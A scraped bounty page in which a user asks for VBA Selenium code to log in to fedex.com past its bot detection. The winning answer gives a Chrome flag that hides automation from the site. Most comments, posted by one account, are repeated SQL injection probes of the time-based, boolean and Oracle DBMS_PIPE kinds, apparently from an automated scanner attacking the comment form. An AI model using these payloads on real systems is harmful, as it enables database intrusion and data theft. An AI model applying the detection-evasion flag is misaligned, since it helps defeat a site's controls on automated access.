Need VBA + Selenium expert. WEbsite blocking selenium
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I NEED A SOLUTION IN VBA, NOT IN PYTHON.

I'm trying to access fedex.com with chrome webdriver in VBA but it's blocking it.

This is the code:
dim ChromeWeb As New WebDriver
ChromeWeb.Start "chrome", "https://www.fedex.com"

ChromeWeb.Window.Maximize
ChromeWeb.Get "/"

ChromeWeb.FindElementByXPath("/html/body/div[2]/div[2]/div[5]/div[2]/div/div[1]/div/div/p[1]/a[1]").Click
ChromeWeb.FindElementByXPath("/html/body/div[2]/header/div/div/nav/div/div/div/div[1]/a/span").Click
ChromeWeb.FindElementByName("user").SendKeys "myusername"
ChromeWeb.FindElementByName("pwd").SendKeys "mypass"
ChromeWeb.FindElementByXPath("/html/body/div[2]/header/div/div/nav/div/div/div/div[1]/div/div/form/button").Click

fedex.com blocks selenium with this message "Sorry. Something went wrong. Please re-enter your user name and password to try again." (if you log in in a normal chrome and you put an incorrect user/password, it will display "Login incorrect. Either the user ID or password combination is incorrect or the account has been locked. Please try again or click here to recover your password."

tried to make it headless and other stuff but did not work. I need someone more experienced than me with selenium, to achieve log in on fedex.com and control over it.

thanks!

qfQpQGF9
gbtagbbj 4 months ago
-1 OR 2+549-549-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+549-549-1=0+0+0+1
gbtagbbj 4 months ago
1 RLIKE (SELECT (CASE WHEN (527=527) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
EVr4rUIg'
gbtagbbj 4 months ago
-5 OR 487=(SELECT 487 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 590=(SELECT 590 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 663=(SELECT 663 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
krC02wB0' OR 917=(SELECT 917 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
qJr6oz7q') OR 408=(SELECT 408 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
vn6L3hBy')) OR 551=(SELECT 551 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
wAm1AnPm
gbtagbbj 4 months ago
-1 OR 2+768-768-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+768-768-1=0+0+0+1
gbtagbbj 4 months ago
555 RLIKE (SELECT (CASE WHEN (727=727) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
5ArqX96P'
gbtagbbj 4 months ago
-5 OR 488=(SELECT 488 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 994=(SELECT 994 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
b4HwXZAV' OR 238=(SELECT 238 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
cEjSWBpS') OR 678=(SELECT 678 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
FB4lqBQb')) OR 939=(SELECT 939 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
BDoNCU7o
gbtagbbj 4 months ago
-1 OR 2+430-430-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+430-430-1=0+0+0+1
gbtagbbj 4 months ago
RLIKE (SELECT (CASE WHEN (845=845) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
ism4K1tN'
gbtagbbj 4 months ago
-5 OR 303=(SELECT 303 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 643=(SELECT 643 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 584=(SELECT 584 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
31kswc3m' OR 483=(SELECT 483 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
tAj1dtGt') OR 642=(SELECT 642 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
7NArNqKE')) OR 773=(SELECT 773 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
awarded to rmi

Crowdsource coding tasks.

1 Solution

Winning solution

Hello,

adding this line to your VBA script will prevent the website from detecting Selenium:

ChromeWeb.AddArgument "--disable-blink-features=AutomationControlled"

Insert it before the ChromeWeb.Start line.

I just tried this and FedEx no longer returned 403 error code when trying to login.

Let me know if this works for you, thanks!

Thanks! I tried with the argument above: ChromeWeb.AddArgument "--disable-blink-features=AutomationControlled" ChromeWeb.Start "chrome", "https://www.fedex.com/shipping/shipEntryAction.do?origincountry=ar&locallang=en&urlparams=ar_english" ChromeWeb.Window.Maximize ChromeWeb.Get "https://www.fedex.com/shipping/shipEntryAction.do?origincountry=ar&locallang=en&urlparams=ar_english" ChromeWeb.FindElementByName("username").SendKeys "123" ChromeWeb.FindElementByName("password").SendKeys "123" ChromeWeb.FindElementByXPath("/html/body/div/div[2]/div/form/table/tbody/tr[6]/td/div/table/tbody/tr/td[1]/div/div[2]/table/tbody/tr[6]/td/table/tbody/tr/td[3]/input").Click It's still taking me to a 403 error page and does not allow me to proceed. Any other ideas?
Fred 8 months ago
Here's the code that works for me. I'm using different URL which contains only the login form. https://gist.github.com/radosinsky/7473740b507d57205aed0258f708a4ab Could you try this?
rmi 8 months ago
Thanks, please read comment on github so I can close this work and pay you the bounty. thanks.
Fred 8 months ago
-1 OR 2+683-683-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+683-683-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+998-998-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+998-998-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+991-991-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+991-991-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+301-301-1=0+0+0+1 or 'EyTyNUJA'='
gbtagbbj 4 months ago
-1' OR 3+301-301-1=0+0+0+1 or 'EyTyNUJA'='
gbtagbbj 4 months ago
-1" OR 2+18-18-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+18-18-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
FCFD54YR'
gbtagbbj 4 months ago
uM3Cakj9' OR 414=(SELECT 414 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
l1obAK35') OR 470=(SELECT 470 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
6gNreUh4')) OR 479=(SELECT 479 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
vCEIWLP4
gbtagbbj 4 months ago
-1 OR 2+434-434-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+434-434-1=0+0+0+1
gbtagbbj 4 months ago
555 RLIKE (SELECT (CASE WHEN (494=494) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
4FkqT5rt'
gbtagbbj 4 months ago
-5 OR 506=(SELECT 506 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 766=(SELECT 766 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 752=(SELECT 752 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
mKu2Y0Vt' OR 464=(SELECT 464 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
cRku8MsD') OR 314=(SELECT 314 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
tHunoO0C')) OR 695=(SELECT 695 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
P9IcVVxd
gbtagbbj 4 months ago
-1 OR 2+82-82-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+82-82-1=0+0+0+1
gbtagbbj 4 months ago
RLIKE (SELECT (CASE WHEN (232=232) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
HdSIboKH'
gbtagbbj 4 months ago
-5 OR 165=(SELECT 165 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 410=(SELECT 410 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 938=(SELECT 938 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
mqLK6KXF' OR 628=(SELECT 628 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
Jasuij4M') OR 640=(SELECT 640 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
h8GeWw2d')) OR 422=(SELECT 422 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago